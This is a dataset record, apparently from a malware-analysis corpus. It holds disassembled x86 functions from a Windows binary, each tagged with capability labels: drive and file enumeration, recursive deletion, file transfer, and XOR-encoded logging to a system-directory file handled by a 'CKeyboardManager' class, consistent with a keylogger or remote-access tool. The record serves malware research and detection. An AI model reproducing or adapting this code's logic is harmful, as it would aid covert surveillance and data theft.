joyce8/EMBER2024-capa huggingface dataset:
Function at 0x40ac00
Capabilities:
Get disk information
Get disk size

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x68c
mov eax, dword [0x5d1124]
xor eax, esp
mov dword [esp + 0x688], eax
push ebx
push esi
push edi
lea eax, [esp + 0x190]
mov dword [esp + 0x1c], ecx
push eax
push 0x100
mov byte [esp + 0x298], 0xc9
call dword [sym.imp.KERNEL32.dll_GetLogicalDriveStringsA]
xorps xmm0, xmm0
lea esi, [esp + 0x190]
push str.shell32.dll
movlpd qword [esp + 0x24], xmm0
movlpd qword [esp + 0x2c], xmm0
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov ebx, eax
push 0x5b3c1c
push ebx
mov dword [esp + 0x20], ebx
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
cmp byte [esp + 0x190], 0
mov ecx, eax
mov dword [esp + 0x14], ecx
mov edi, 1
je 0x40ad6d
mov ebx, dword [sym.imp.KERNEL32.dll_lstrlenA]
nop
push 0x410
push 0x160
lea eax, [esp + 0x38]
push eax
push 0x80
push esi
call ecx
lea eax, [esp + 0x140]
push eax
call ebx
mov cl, byte [esi]
inc eax
mov dword [esp + 0x10], eax
cmp cl, 0x41
je 0x40acfd
cmp cl, 0x42
je 0x40acfd
push 0
lea eax, [esp + 0x24]
push eax
lea eax, [esp + 0x30]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GetDiskFreeSpaceExA]
test eax, eax
je 0x40acfd
mov ebx, dword [esp + 0x20]
mov eax, dword [esp + 0x24]
mov ecx, dword [esp + 0x28]
shrd ebx, eax, 0x14
shr eax, 0x14
mov eax, dword [esp + 0x2c]
shrd ecx, eax, 0x14
mov dword [esp + 0xc], ecx
shr eax, 0x14
jmp 0x40ad03
xor ebx, ebx
mov dword [esp + 0xc], ebx
mov al, byte [esi]
push esi
mov byte [esp + edi + 0x294], al
call dword [sym.imp.KERNEL32.dll_GetDriveTypeA]
mov byte [esp + edi + 0x291], al
mov eax, dword [esp + 0xc]
mov dword [esp + edi + 0x296], eax
lea eax, [esp + 0x140]
mov dword [esp + edi + 0x292], ebx
mov ebx, dword [esp + 0x10]
push ebx
push eax
lea eax, [esp + 0x2a2]
add eax, edi
push eax
call fcn.00552610
add esp, 0xc
add ebx, 0xa
add edi, ebx
mov ebx, dword [sym.imp.KERNEL32.dll_lstrlenA]
push esi
call ebx
mov ecx, dword [esp + 0x14]
inc esi
add esi, eax
cmp byte [esi], 0
jne 0x40ac90
mov ebx, dword [esp + 0x18]
test ebx, ebx
je 0x40ad78
push ebx
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
mov ecx, dword [esp + 0x1c]
lea eax, [esp + 0x290]
push edi
push eax
call fcn.00409ef0
mov ecx, dword [esp + 0x694]
pop edi
pop esi
pop ebx
xor ecx, esp
call fcn.0054f768
mov esp, ebp
pop ebp
ret
Function at 0x40ada0
Capabilities:
Enumerate files on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x268
mov eax, dword [0x5d1124]
xor eax, ebp
mov dword [ebp - 8], eax
push ebx
push esi
mov esi, dword [ebp + 8]
push edi
mov edi, ecx
mov dword [ebp - 0x25c], 0x2800
push 0x2800
push 0x40
mov dword [ebp - 0x264], edi
mov dword [edi + 0x14], 1
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
push esi
mov ebx, eax
lea eax, [ebp - 0x114]
push str._s.
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
lea eax, [ebp - 0x254]
push eax
lea eax, [ebp - 0x114]
push eax
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
mov dword [ebp - 0x260], eax
cmp eax, 0xffffffff
jne 0x40ae40
push 1
lea eax, [ebp - 0x255]
mov byte [ebp - 0x255], 0x12
push eax
mov ecx, edi
call fcn.00409ef0
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 8]
xor ecx, ebp
call fcn.0054f768
mov esp, ebp
pop ebp
ret 4
mov byte [ebx], 0x12
mov edi, 1
nop dword [eax + eax]
mov ecx, dword [ebp - 0x25c]
lea eax, [ecx - 0x208]
cmp edi, eax
jbe 0x40ae78
add ecx, 0x208
push 0x42
push ecx
push ebx
mov dword [ebp - 0x25c], ecx
call dword [sym.imp.KERNEL32.dll_LocalReAlloc]
mov ebx, eax
mov ecx, 0x5b3be4
lea eax, [ebp - 0x228]
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x40aea3
test dl, dl
je 0x40ae9f
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x40aea3
add eax, 2
add ecx, 2
test dl, dl
jne 0x40ae83
xor eax, eax
jmp 0x40aea8
sbb eax, eax
or eax, 1
test eax, eax
je 0x40af49
mov eax, 0x5b3be8
lea ecx, [ebp - 0x228]
nop dword [eax + eax]
mov dl, byte [ecx]
cmp dl, byte [eax]
jne 0x40aee0
test dl, dl
je 0x40aedc
mov dl, byte [ecx + 1]
cmp dl, byte [eax + 1]
jne 0x40aee0
add ecx, 2
add eax, 2
test dl, dl
jne 0x40aec0
xor eax, eax
jmp 0x40aee5
sbb eax, eax
or eax, 1
test eax, eax
je 0x40af49
mov al, byte [ebp - 0x254]
and al, 0x10
mov byte [edi + ebx], al
lea eax, [ebp - 0x228]
push eax
inc edi
call dword [sym.imp.KERNEL32.dll_lstrlenA]
mov esi, eax
lea ecx, [edi + ebx]
push esi
lea eax, [ebp - 0x228]
push eax
push ecx
call fcn.00552610
add edi, esi
add esp, 0xc
mov byte [edi + ebx], 0
mov eax, dword [ebp - 0x238]
mov dword [edi + ebx + 1], eax
mov eax, dword [ebp - 0x234]
mov dword [edi + ebx + 5], eax
mov eax, dword [ebp - 0x240]
mov dword [edi + ebx + 9], eax
mov eax, dword [ebp - 0x23c]
mov dword [edi + ebx + 0xd], eax
add edi, 0x11
lea eax, [ebp - 0x254]
push eax
push dword [ebp - 0x260]
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x40ae50
mov ecx, dword [ebp - 0x264]
push edi
push ebx
call fcn.00409ef0
push ebx
mov esi, eax
call dword [sym.imp.KERNEL32.dll_LocalFree]
push dword [ebp - 0x260]
call dword [sym.imp.KERNEL32.dll_FindClose]
mov ecx, dword [ebp - 8]
mov eax, esi
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0054f768
mov esp, ebp
pop ebp
ret 4
Function at 0x40afa0
Capabilities:
Delete directory
Delete file
Enumerate files on windows
Enumerate files recursively
Set file attributes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x368
mov eax, dword [0x5d1124]
xor eax, ebp
mov dword [ebp - 8], eax
push ebx
mov ebx, dword [sym.imp.USER32.dll_wsprintfA]
lea eax, [ebp - 0x21c]
push esi
mov esi, dword [ebp + 8]
push edi
push esi
push str._s.
push eax
mov dword [ebp - 0x364], ecx
call ebx
add esp, 0xc
lea eax, [ebp - 0x35c]
push eax
lea eax, [ebp - 0x21c]
push eax
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
mov edi, eax
mov dword [ebp - 0x360], edi
cmp edi, 0xffffffff
jne 0x40b00d
xor al, al
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 8]
xor ecx, ebp
call fcn.0054f768
mov esp, ebp
pop ebp
ret 4
mov edi, dword [sym.imp.KERNEL32.dll_DeleteFileA]
cmp byte [ebp - 0x330], 0x2e
je 0x40b07f
test byte [ebp - 0x35c], 0x10
lea eax, [ebp - 0x330]
push eax
push esi
lea eax, [ebp - 0x114]
push str._s_s
push eax
je 0x40b052
call ebx
mov ecx, dword [ebp - 0x364]
lea eax, [ebp - 0x114]
add esp, 0x10
push eax
call fcn.0040afa0
jmp 0x40b07f
call ebx
add esp, 0x10
lea eax, [ebp - 0x114]
push eax
call edi
test eax, eax
jne 0x40b07f
push 0x80
lea eax, [ebp - 0x114]
push eax
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
lea eax, [ebp - 0x114]
push eax
call edi
lea eax, [ebp - 0x35c]
push eax
push dword [ebp - 0x360]
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x40b013
push dword [ebp - 0x360]
call dword [sym.imp.KERNEL32.dll_FindClose]
push esi
call dword [sym.imp.KERNEL32.dll_RemoveDirectoryA]
mov ecx, dword [ebp - 8]
test eax, eax
pop edi
setne al
xor ecx, ebp
pop esi
pop ebx
call fcn.0054f768
mov esp, ebp
pop ebp
ret 4

Function at 0x40b190
Capabilities:
Copy file
Move file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x210
mov eax, dword [0x5d1124]
xor eax, ebp
mov dword [ebp - 4], eax
push dword [ebp + 0xc]
mov eax, dword [ebp + 8]
push eax
lea eax, [ebp - 0x210]
push eax
call fcn.00552610
add esp, 0xc
lea eax, [ebp - 0x10c]
cmp dword [ebp - 8], 0
je 0x40b1e7
push 1
push eax
lea eax, [ebp - 0x210]
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileA]
mov al, 1
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0054f768
mov esp, ebp
pop ebp
ret 8
push eax
lea eax, [ebp - 0x210]
push eax
call dword [sym.imp.KERNEL32.dll_MoveFileA]
mov ecx, dword [ebp - 4]
mov al, 1
xor ecx, ebp
call fcn.0054f768
mov esp, ebp
pop ebp
ret 8
Function at 0x40b210
Capabilities:
Get file size

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
push ebx
push esi
mov eax, ecx
push edi
push 0x104
push 0
lea esi, [eax + 0x18]
mov dword [ebp - 0xc], eax
push esi
call fcn.00552b90
mov ebx, dword [ebp + 8]
add esp, 0xc
mov eax, ebx
sub esi, ebx
nop dword [eax + eax]
mov cl, byte [eax]
lea eax, [eax + 1]
mov byte [esi + eax - 1], cl
test cl, cl
jne 0x40b240
push 0
push 0x80
push 3
push 0
push 1
push closesocket
push ebx
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
cmp esi, 0xffffffff
jne 0x40b28d
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push ebx
push str.SendFileSize_ERRO_CODE_:__d
call fcn.00409fb0
add esp, 0xc
xor eax, eax
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4
lea eax, [ebp - 8]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GetFileSize]
push esi
mov edi, eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov esi, dword [sym.imp.KERNEL32.dll_lstrlenA]
push ebx
call esi
add eax, 0xa
push eax
push 0x40
mov dword [ebp - 4], eax
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
push dword [ebp - 4]
mov ebx, eax
push 0
push ebx
call fcn.00552b90
mov byte [ebx], 0x13
add esp, 0xc
mov ecx, dword [ebp - 8]
mov dword [ebx + 5], edi
mov edi, dword [ebp + 8]
push edi
mov dword [ebx + 1], ecx
call esi
inc eax
push eax
lea eax, [ebx + 9]
push edi
push eax
call fcn.00552610
mov ecx, dword [ebp - 0xc]
add esp, 0xc
push dword [ebp - 4]
push ebx
call fcn.00409ef0
push ebx
mov esi, eax
call dword [sym.imp.KERNEL32.dll_LocalFree]
pop edi
mov eax, esi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4

Function at 0x40b310
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
push ebx
mov ebx, dword [ebp + 8]
push esi
push edi
mov esi, ecx
mov dword [ebp - 4], 0
cmp dword [ebx + 4], 0xffffffff
jne 0x40b33b
call fcn.0040b400
xor eax, eax
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4
push 0
push 0x80
push 3
push 0
push 1
push closesocket
lea eax, [esi + 0x18]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [ebp - 8], eax
cmp eax, 0xffffffff
jne 0x40b36a
or eax, eax
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4
push 0
push ebx
push dword [ebx + 4]
push eax
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
push 0x2000
push 0x40
mov dword [ebp + 8], 0
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov edi, eax
push 0
mov byte [edi], 0x14
mov eax, dword [ebx]
mov dword [edi + 1], eax
mov eax, dword [ebx + 4]
mov ebx, dword [ebp - 8]
mov dword [edi + 5], eax
lea eax, [ebp + 8]
push eax
push 0x1ff7
lea eax, [edi + 9]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_ReadFile]
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp + 8]
mov ecx, esi
test eax, eax
je 0x40b3e4
add eax, 9
push eax
push edi
call fcn.00409ef0
push edi
mov dword [ebp - 4], eax
call dword [sym.imp.KERNEL32.dll_LocalFree]
mov eax, dword [ebp - 4]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4
call fcn.0040b400
push edi
call dword [sym.imp.KERNEL32.dll_LocalFree]
mov eax, dword [ebp - 4]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4
Function at 0x40b5a0
Capabilities:
Enumerate files on windows
Enumerate files recursively

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x571cbb
mov eax, dword fs:[0]
push eax
sub esp, 0x480
mov eax, dword [0x5d1124]
xor eax, ebp
mov dword [ebp - 0x14], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov edi, ecx
mov ebx, dword [ebp + 8]
lea eax, [ebp - 0x224]
push 0x104
push 0
push eax
call fcn.00552b90
add esp, 0xc
push ebx
call dword [sym.imp.KERNEL32.dll_lstrlenA]
mov ecx, 0x5b3bdc
mov esi, 0x5b3c90
cmp byte [eax + ebx - 1], 0x5c
lea eax, [ebp - 0x224]
cmovne esi, ecx
push esi
push ebx
push str._s_s.
push eax
mov dword [ebp - 0x48c], esi
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x10
lea eax, [ebp - 0x484]
push eax
lea eax, [ebp - 0x224]
push eax
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
mov dword [ebp - 0x488], eax
cmp eax, 0xffffffff
jne 0x40b650
xor al, al
jmp 0x40b7d5
cmp byte [ebp - 0x458], 0x2e
je 0x40b79b
test byte [ebp - 0x484], 0x10
lea eax, [ebp - 0x458]
push eax
push esi
push ebx
push str._s_s_s
je 0x40b697
lea eax, [ebp - 0x32c]
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x14
lea eax, [ebp - 0x32c]
mov ecx, edi
push eax
call fcn.0040b5a0
jmp 0x40b795
lea eax, [ebp - 0x11c]
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x14
mov dword [ebp - 0x330], 0xf
cmp byte [ebp - 0x11c], 0
mov dword [ebp - 0x334], 0
mov byte [ebp - 0x344], 0
jne 0x40b6cf
xor eax, eax
jmp 0x40b6e1
lea eax, [ebp - 0x11c]
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x40b6d8
sub eax, edx
push eax
lea eax, [ebp - 0x11c]
push eax
lea ecx, [ebp - 0x344]
call fcn.0040bc70
mov dword [ebp - 4], 0
lea eax, [ebp - 0x344]
mov esi, dword [edi + 0xc]
push eax
push dword [esi + 4]
push esi
call fcn.0040c190
mov edx, eax
mov ecx, 0x7fffffe
mov eax, dword [edi + 0x10]
sub ecx, eax
cmp ecx, 1
jb 0x40b7bd
lea ecx, [eax + 1]
mov dword [edi + 0x10], ecx
mov dword [esi + 4], edx
mov eax, dword [edx + 4]
mov dword [ebp - 4], 0xffffffff
mov dword [eax], edx
mov eax, dword [ebp - 0x330]
cmp eax, 0x10
jb 0x40b774
mov ecx, dword [ebp - 0x344]
inc eax
cmp eax, 0x1000
jb 0x40b76b
test cl, 0x1f
jne 0x40b7b8
mov eax, dword [ecx - 4]
cmp eax, ecx
jae 0x40b7b8
sub ecx, eax
cmp ecx, 4
jb 0x40b7b8
cmp ecx, 0x23
ja 0x40b7b8
mov ecx, eax
push ecx
call fcn.00415a24
add esp, 4
mov esi, dword [ebp - 0x48c]
mov dword [ebp - 0x330], 0xf
mov dword [ebp - 0x334], 0
mov byte [ebp - 0x344], 0
mov eax, dword [ebp - 0x488]
lea ecx, [ebp - 0x484]
push ecx
push eax
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
je 0x40b7c7
mov eax, dword [ebp - 0x488]
jmp 0x40b650
call fcn.0055892e
push str.list_T__too_long
call fcn.00550e8f
push dword [ebp - 0x488]
call dword [sym.imp.KERNEL32.dll_FindClose]
mov al, 1
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x14]
xor ecx, ebp
call fcn.0054f768
mov esp, ebp
pop ebp
ret 4
Function at 0x40b930
Capabilities:
Print debug messages

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x154
mov eax, dword [0x5d1124]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
mov edi, ecx
mov esi, dword [edi + 0x14]
mov eax, esi
sub eax, 3
je 0x40b968
sub eax, 2
je 0x40b961
sub eax, 2
jne 0x40b96d
lea esi, [eax + 6]
jmp 0x40b96d
mov esi, 4
jmp 0x40b96d
mov esi, 2
lea eax, [ebp - 0x150]
push eax
lea ebx, [edi + 0x18]
push ebx
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
mov ecx, eax
mov byte [ebp - 8], 0
xorps xmm0, xmm0
movq qword [ebp - 0x10], xmm0
mov byte [ebp - 0x10], 0x1a
cmp ecx, 0xffffffff
je 0x40b9d3
cmp esi, 2
jne 0x40b9b3
mov eax, dword [ebp - 0x134]
mov esi, 3
mov dword [ebp - 0xf], eax
mov eax, dword [ebp - 0x130]
mov dword [ebp - 0xb], eax
jmp 0x40b9dd
cmp esi, 4
je 0x40b9d3
cmp esi, 6
jne 0x40b9cb
mov dword [ebp - 0xb], 0xffffffff
mov esi, 3
jmp 0x40b9dd
mov esi, dword [ebp - 0x154]
jmp 0x40b9dd
mov esi, 2
movq qword [ebp - 0xf], xmm0
push ecx
call dword [sym.imp.KERNEL32.dll_FindClose]
push 0
push 0x80
push esi
push 0
push 2
push 0x40000000
push ebx
call dword [sym.imp.KERNEL32.dll_CreateFileA]
cmp eax, 0xffffffff
jne 0x40ba31
push str.GetFileData_ERRO_r_n
mov dword [edi + 0x120], 0
mov dword [edi + 0x124], 0
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0054f768
mov esp, ebp
pop ebp
ret
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 9
lea eax, [ebp - 0x10]
mov ecx, edi
push eax
call fcn.00409ef0
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0054f768
mov esp, ebp
pop ebp
ret

Function at 0x40ba60
Capabilities:
Print debug messages
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
mov eax, dword [0x5d1124]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
mov esi, dword [ebp + 8]
mov ebx, ecx
push edi
push 0
push 0x80
mov eax, dword [esi]
push 3
push 0
mov dword [ebp - 0x14], eax
mov eax, dword [esi + 4]
push 2
mov dword [ebp - 0x18], eax
lea eax, [ebx + 0x18]
push 0x40000000
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov edi, eax
lea eax, [ebp - 0x14]
push 0
push eax
push dword [ebp - 0x18]
push edi
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
push 0
lea eax, [ebp - 0x1c]
push eax
mov eax, dword [ebp + 0xc]
add eax, 0xfffffff8
push eax
lea eax, [esi + 8]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
jg 0x40bad8
push 0x5b3cb8
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp - 0x14]
mov ecx, ebx
mov dword [ebp - 0xf], eax
mov eax, dword [ebp - 0x1c]
add eax, dword [ebp - 0x18]
mov dword [ebp - 0xb], eax
lea eax, [ebp - 0x10]
push 9
push eax
mov byte [ebp - 0x10], 0x1a
call fcn.00409ef0
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0054f768
mov esp, ebp
pop ebp
ret 8
Function at 0x40c2b0
Capabilities:
Create thread
Get common file path

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x571d18
mov eax, dword fs:[0]
push eax
sub esp, 0x18
push ebx
push esi
push edi
mov eax, dword [0x5d1124]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov esi, ecx
mov dword [ebp - 0x14], esi
mov eax, dword [ebp + 8]
mov edi, dword [sym.imp.KERNEL32.dll_CreateEventA]
push 0
push 0
push 1
mov dword [esi], vtable.CManager.0
mov dword [esi + 4], eax
push 0
mov dword [eax + 0x44], esi
call edi
mov dword [esi + 8], eax
push 2
lea eax, [ebp + 8]
mov dword [ebp - 4], 0
push eax
mov ecx, esi
mov dword [esi], vtable.CKeyboardManager1.0
mov word [ebp + 8], 0x1cf
call fcn.00409ef0
mov ebx, dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push 0xffffffffffffffff
push dword [esi + 8]
call ebx
push 0x96
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
mov ecx, esi
call fcn.0040c4e0
push 0x104
add esi, 0x18
push esi
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
push str.MODIf.html
push esi
call dword [sym.imp.KERNEL32.dll_lstrcatA]
mov eax, dword [ebp - 0x14]
push 0
push 0
push 0
push 0
mov byte [eax + 0x11c], 1
mov dword [eax + 0x14], 0
mov dword [ebp - 0x24], 0x40d2f0
mov dword [ebp - 0x20], eax
mov byte [ebp - 0x1c], 0
call edi
push 0
push 0
mov dword [ebp - 0x18], eax
lea eax, [ebp - 0x24]
push eax
push 0x4155a0
push 0
push 0
call fcn.0055ad4c
add esp, 0x18
mov esi, eax
push 0xffffffffffffffff
push dword [ebp - 0x18]
call ebx
push dword [ebp - 0x18]
mov edi, dword [sym.imp.KERNEL32.dll_CloseHandle]
call edi
mov eax, dword [ebp - 0x14]
push 0
push 0
push 0
push 0
mov dword [eax + 0xc], esi
mov dword [ebp - 0x24], 0x40d270
mov dword [ebp - 0x20], eax
mov byte [ebp - 0x1c], 0
call dword [sym.imp.KERNEL32.dll_CreateEventA]
push 0
push 0
mov dword [ebp - 0x18], eax
lea eax, [ebp - 0x24]
push eax
push 0x4155a0
push 0
push 0
call fcn.0055ad4c
add esp, 0x18
mov esi, eax
push 0xffffffffffffffff
push dword [ebp - 0x18]
call ebx
push dword [ebp - 0x18]
call edi
mov eax, dword [ebp - 0x14]
mov dword [eax + 0x10], esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4

Function at 0x40c480
Capabilities:
Delete file

Disassembly:
push ebp
mov ebp, esp
push esi
mov esi, dword [ebp + 8]
push edi
mov edi, ecx
cmp byte [esi], 0x64
jne 0x40c498
push dword [edi + 8]
call dword [sym.imp.KERNEL32.dll_SetEvent]
cmp byte [esi], 2
jne 0x40c4ce
lea esi, [edi + 0x18]
push esi
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
push 0
push 0x80
push 2
push 0
push 2
push 0x40000000
push esi
call dword [sym.imp.KERNEL32.dll_CreateFileA]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [edi + 0x14], 0
pop edi
pop esi
pop ebp
ret 8
Function at 0x40c4e0
Capabilities:
Encode data using xor
Get file size
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
push ebx
push esi
push edi
xor esi, esi
mov eax, ecx
push esi
push 0x80
push 3
push esi
push 1
mov dword [ebp - 4], eax
add eax, 0x18
push closesocket
push eax
mov dword [ebp - 8], esi
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov edi, eax
mov dword [ebp - 0xc], edi
cmp edi, 0xffffffff
je 0x40c5ec
push esi
push edi
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov esi, dword [ebp + 8]
mov ebx, eax
mov eax, dword [ebp - 4]
mov dword [eax + 0x14], ebx
test esi, esi
je 0x40c540
push 0
push 0
push esi
push edi
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
sub ebx, esi
push ebx
call fcn.00415a1b
add esp, 4
mov esi, eax
lea eax, [ebp - 8]
mov dword [ebp + 8], esi
push 0
push eax
push ebx
push esi
push edi
call dword [sym.imp.KERNEL32.dll_ReadFile]
xor eax, eax
test ebx, ebx
je 0x40c5a9
cmp ebx, 0x20
jb 0x40c595
movaps xmm1, xmmword [0x5b4930]
mov ecx, ebx
and ecx, 0xffffffe0
movups xmm0, xmmword [esi + eax]
pxor xmm0, xmm1
movups xmmword [esi + eax], xmm0
movups xmm0, xmmword [esi + eax + 0x10]
pxor xmm0, xmm1
movups xmmword [esi + eax + 0x10], xmm0
add eax, 0x20
cmp eax, ecx
jb 0x40c574
cmp eax, ebx
jae 0x40c5a9
nop dword [eax]
xor byte [eax + esi], 0x60
inc eax
cmp eax, ebx
jb 0x40c5a0
lea esi, [ebx + 1]
push esi
push 0x40
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov edi, eax
push ebx
mov ebx, dword [ebp + 8]
push ebx
lea eax, [edi + 1]
mov byte [edi], 3
push eax
call fcn.00552610
mov ecx, dword [ebp - 4]
add esp, 0xc
push esi
push edi
call fcn.00409ef0
push edi
mov esi, eax
call dword [sym.imp.KERNEL32.dll_LocalFree]
push 1
push ebx
call fcn.0054f779
mov edi, dword [ebp - 0xc]
add esp, 8
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
mov eax, esi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4
Function at 0x40cfb0
Capabilities:
Encode data using xor
Get common file path
Get file size
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x124
mov eax, dword [0x5d1124]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
mov edi, ecx
push edi
call fcn.00409fb0
add esp, 4
lea eax, [ebp - 0x110]
push 0x104
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
push str.MODIf.html
lea eax, [ebp - 0x110]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatA]
push 0
push 0x80
push 4
push 0
push 2
push 0x40000000
lea eax, [ebp - 0x110]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov ebx, eax
mov dword [ebp - 0x120], 0
push 0
push ebx
mov dword [ebp - 0x124], ebx
call dword [sym.imp.KERNEL32.dll_GetFileSize]
cmp eax, 0x3200000
jae 0x40d043
push 2
push 0
push 0
push ebx
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
push edi
call dword [sym.imp.KERNEL32.dll_lstrlenA]
mov esi, eax
push esi
mov dword [ebp - 0x118], esi
call fcn.00415a1b
add esp, 4
mov ebx, eax
xor edx, edx
mov dword [ebp - 0x114], ebx
test esi, esi
jle 0x40d106
cmp esi, 0x20
jb 0x40d0de
lea eax, [edi - 1]
lea ecx, [ebx - 1]
add eax, esi
add ecx, esi
cmp ebx, eax
ja 0x40d084
cmp ecx, edi
jae 0x40d0de
mov eax, esi
and eax, 0x8000001f
jns 0x40d092
dec eax
or eax, 0xffffffe0
inc eax
movaps xmm1, xmmword [0x5b4930]
mov ecx, esi
sub ecx, eax
mov esi, edi
sub esi, ebx
mov eax, ebx
mov dword [ebp - 0x11c], esi
mov esi, dword [ebp - 0x118]
mov ebx, dword [ebp - 0x11c]
movups xmm0, xmmword [ebx + eax]
lea eax, [eax + 0x20]
pxor xmm0, xmm1
movups xmmword [eax - 0x20], xmm0
movups xmm0, xmmword [edi + edx + 0x10]
add edx, 0x20
pxor xmm0, xmm1
movups xmmword [eax - 0x10], xmm0
cmp edx, ecx
jl 0x40d0b5
mov ebx, dword [ebp - 0x114]
cmp edx, esi
jge 0x40d106
lea ecx, [edx + ebx]
mov ebx, edi
sub ebx, dword [ebp - 0x114]
sub esi, edx
nop
mov al, byte [ecx + ebx]
lea ecx, [ecx + 1]
xor al, 0x60
mov byte [ecx - 1], al
sub esi, 1
jne 0x40d0f0
mov ebx, dword [ebp - 0x114]
push 0
lea eax, [ebp - 0x120]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_lstrlenA]
mov esi, dword [ebp - 0x124]
push eax
push ebx
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push ebx
call fcn.00415a24
mov ecx, dword [ebp - 4]
add esp, 4
xor ecx, ebp
pop edi
pop esi
pop ebx
call fcn.0054f768
mov esp, ebp
pop ebp
ret